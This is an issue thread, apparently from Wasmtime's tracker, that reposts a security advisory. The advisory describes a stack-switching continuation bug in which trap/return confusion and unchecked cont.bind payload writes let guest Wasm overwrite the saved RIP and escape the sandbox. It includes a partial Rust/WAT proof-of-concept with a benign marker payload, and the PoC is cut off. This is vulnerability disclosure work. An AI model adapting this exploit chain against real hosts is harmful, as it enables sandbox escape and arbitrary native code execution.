alexcrichton opened issue #13028:
Note: the following is a paste of https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-4pww-gw9q-vvvh which @k3mmio opened initially as a security advisory on Wasmtime. Stack-switching is not tier 1 at this time, however, so I'm reopening that bug report as an issue here in public instead. The advisory is now closed and this is a copy of the contents there.
Continuation Control-Context Overwrite Reaches Arbitrary Native Control-Flow Redirection (Sandbox Escape)
Executive Summary
The original issue is that a trapped continuation start can be misclassified as a normal return. That lets stale bits escape as if they were legitimate return values. Those stale bits are reused as a fresh continuation token, reinterpreted as a wider continuation type, and then used with oversized
cont.bindpayloads to overwrite the saved control-context words on the continuation stack. A laterresumeloads those overwritten words and jumps through the overwritten saved RIP.Validated environment:
- commit
51959f238e5c65f535047a8bf4615b8b28a14429- x86_64-linux
- Cranelift backend
wasm_stack_switching(true)wasm_exceptions(true)wasm_function_references(true)wasm_gc(true)wasm_simd(true)Background
Continuations and
resumeWasmtime's stack-switching support implements continuations for Wasm. A continuation is created with
cont.newand later entered withresume. Each continuation has:
- its own native stack,
- metadata describing parent / child relationships,
- payload buffers used to pass arguments and return values,
- a saved control context near the top of that native stack.
That saved control context is the native state that
stack_switchrestores when execution returns to a continuation.
VMContRef, payload buffers, and the saved control contextThe runtime representation is
VMContRef. Two parts matter here:
args/values, which areVMHostArray<u128>payload buffers,stack, which is the continuation's native stack allocation.For fresh continuations, the
argsbuffer is allocated directly below the saved control-context words at the top of stack. Wasmtime's own layout comment instack/unix.rsdescribes that arrangement:top of stack saved RIP saved RBP saved RSP args_capacity args bufferThat adjacency is why any oversized payload write into the fresh continuation's argument area is immediately security-relevant.
cont.bind
cont.bindexists to pre-apply arguments to a continuation before a laterresume. In the normal case that is fine. In the affected lane, it becomes dangerous because it writes payload values into the continuation storage area before the continuation runs again.
stack_switchon x64On x64, Cranelift's
stack_switchlowering restoresrsp,rbp, andripfrom the continuation control context and then jumps to the loaded program counter. The relevant logic is straightforward:exchange(rsp_offset, regs::rsp()); exchange(rbp_offset, regs::rbp()); let addr = SyntheticAmode::real(Amode::imm_reg(pc_offset, **load_context_ptr)); asm::inst::movq_rm::new(tmp1, addr).emit(sink, info, state); ... asm::inst::jmpq_m::new(tmp1.to_reg()).emit(sink, info, state);If the saved control-context words are attacker-controlled, native control flow is attacker-controlled.
Root Cause
Sandbox escape requires two problems to line up.
1. Trap/return confusion at continuation start
The first issue is the already confirmed continuation-start bug.
In
fiber_start, the boolean success/failure result fromVMFuncRef::array_callis ignored:VMFuncRef::array_call(func_ref, None, caller_vmxtx, params_and_returns); args.length = return_value_count;The x86_64 continuation trampoline then unconditionally reports an ordinary return:
call {fiber_start} mov rdi, 0 jmp rsiTogether these reclassify a trap as a normal return and leave stale bits in a position where later code trusts them.
2. Oversized payload writes into the fresh continuation stack
The second issue is that continuation payload writes can exceed the fresh continuation's originally allocated argument capacity.
The relevant compiler helper increments length and computes a write pointer, but does not visibly enforce
new_length <= capacityin the path that stores continuation payloads:pub fn occupy_next_slots<'a>( &self, env: &mut crate::func_environ::FuncEnvironment<'a>, builder: &mut FunctionBuilder, arg_count: i32, ) -> ir::Value { let data = self.get_data(env, builder); let original_length = self.get_length(env, builder); let new_length = builder.ins().iadd_imm(original_length, i64::from(arg_count)); self.set_length(env, builder, new_length); ... builder.ins().iadd(data, byte_offset) }In the affected lane, a stale live continuation token is reintroduced as a wider continuation type and
cont.bindwrites three payload slots into a fresh continuation whose originalargs_capacityis only one slot. Because the freshargsbuffer sits directly below the saved control context, the oversized write reaches:
args_capacity,- saved
rbp,- saved
rip.End-to-End Impact Chain
- Guest code creates a fresh continuation with a small argument/return footprint.
- The continuation start traps before producing a legitimate return.
- The trap/return confusion bug leaks stale bits as if they were a valid return value.
- Those bits are reused as a live continuation token.
- The token is reinterpreted as a wider continuation type.
cont.bindwrites oversized payloads into the fresh continuation's argument area.- Those payloads overwrite the saved control-context words at the top of the continuation stack.
- A later plain
resumereaches Cranelift's x64stack_switchpath.stack_switchloadsrsp,rbp, andripfrom the overwritten control context.- Native control flow transfers to the overwritten saved RIP.
Proof of Impact
The current bundle uses two files together:
poc/continuation_arbitrary_rip_poc.rsPOC
#![cfg(all(unix, target_arch = "x86_64"))] use std::env; use std::process::Command; use wasmtime::*; #[cfg(unix)] use std::os::unix::process::ExitStatusExt; const CHILD_ENV: &str = "WASMTIME_CONTINUATION_ARBITRARY_RIP_CHILD"; const RBP_FILL: i64 = 0x1337_1337_1337_1337; const CHOSEN_EXIT_CODE: i32 = 213; const TARGET_MARKER: &[u8] = b"chosen_rip_target_hit\n"; #[inline(never)] extern "C" fn chosen_rip_target() -> ! { unsafe { let _ = libc::write( libc::STDERR_FILENO, TARGET_MARKER.as_ptr().cast(), TARGET_MARKER.len(), ); libc::_exit(CHOSEN_EXIT_CODE); } } fn configured_engine() -> Result<Engine> { let mut config = Config::new(); config.strategy(Strategy::Cranelift); config .wasm_gc(true) .wasm_simd(true) .wasm_function_references(true) .wasm_exceptions(true) .wasm_stack_switching(true); Engine::new(&config) } fn module_text(chosen_rip: i64) -> String { format!( r#" (module (type $victim-ft (func (result i32))) (type $victim-ct (cont $victim-ft)) (type $leak-ft-start (func (param (ref null $victim-ct)) (result i64))) (type $leak-ft-suspended (func (result i64))) (type $leak-ct-start (cont $leak-ft-start)) (type $leak-ct-suspended (cont $leak-ft-suspended)) (type $wide-ft-start (func (param i64 i64 v128) (result i32))) (type $wide-ft-bound (func (result i32))) (type $wide-ct-start (cont $wide-ft-start)) (type $wide-ct-bound (cont $wide-ft-bound)) (type $reinj-ft-start (func (param i64) (result (ref null $wide-ct-start)))) (type $reinj-ft-suspended (func (result (ref null $wide-ct-start)))) (type $reinj-ct-start (cont $reinj-ft-start)) (type $reinj-ct-suspended (cont $reinj-ft-suspended)) (type $tag-ft (func)) (tag $t (type $tag-ft)) (global $g (mut (ref null $wide-ct-bound)) (ref.null $wide-ct-bound)) (func $victim (type $victim-ft) (result i32) i32.const 305419896 ) (func $trapper_leak (type $leak-ft-start) (param (ref null $victim-ct)) (result i64) unreachable ) (func $trapper_reinj (type $reinj-ft-start) (param i64) (result (ref null $wide-ct-start)) unreachable ) (elem declare func $victim $trapper_leak $trapper_reinj) (func (export "leak_token") (result i64) (local $victim_cont (ref null $victim-ct)) (local $leaker (ref null $leak-ct-start)) (local.set $victim_cont (cont.new $victim-ct (ref.func $victim))) (local.set $leaker (cont.new $leak-ct-start (ref.func $trapper_leak))) (block $h (result (ref null $leak-ct-suspended)) (resume $leak-ct-start (on $t $h) (local.get $victim_cont) (local.get $leaker)) return (ref.null $leak-ct-suspended) ) drop i64.const -1 ) (func (export "bind_overflow_into_global") (param i64) (local $reinj (ref null $reinj-ct-start)) (local $forged (ref null $wide-ct-start)) (local $bound (ref null $wide-ct-bound)) (local.set $reinj (cont.new $reinj-ct-start (ref.func $trapper_reinj))) (block $h0 (result (ref null $reinj-ct-suspended)) (local.set $forged (resume $reinj-ct-start (on $t $h0) (local.get 0) (loc [message truncated]
alexcrichton added the wasm-proposal:stack-switching label to Issue #13028.
Last updated: Apr 12 2026 at 23:10 UTC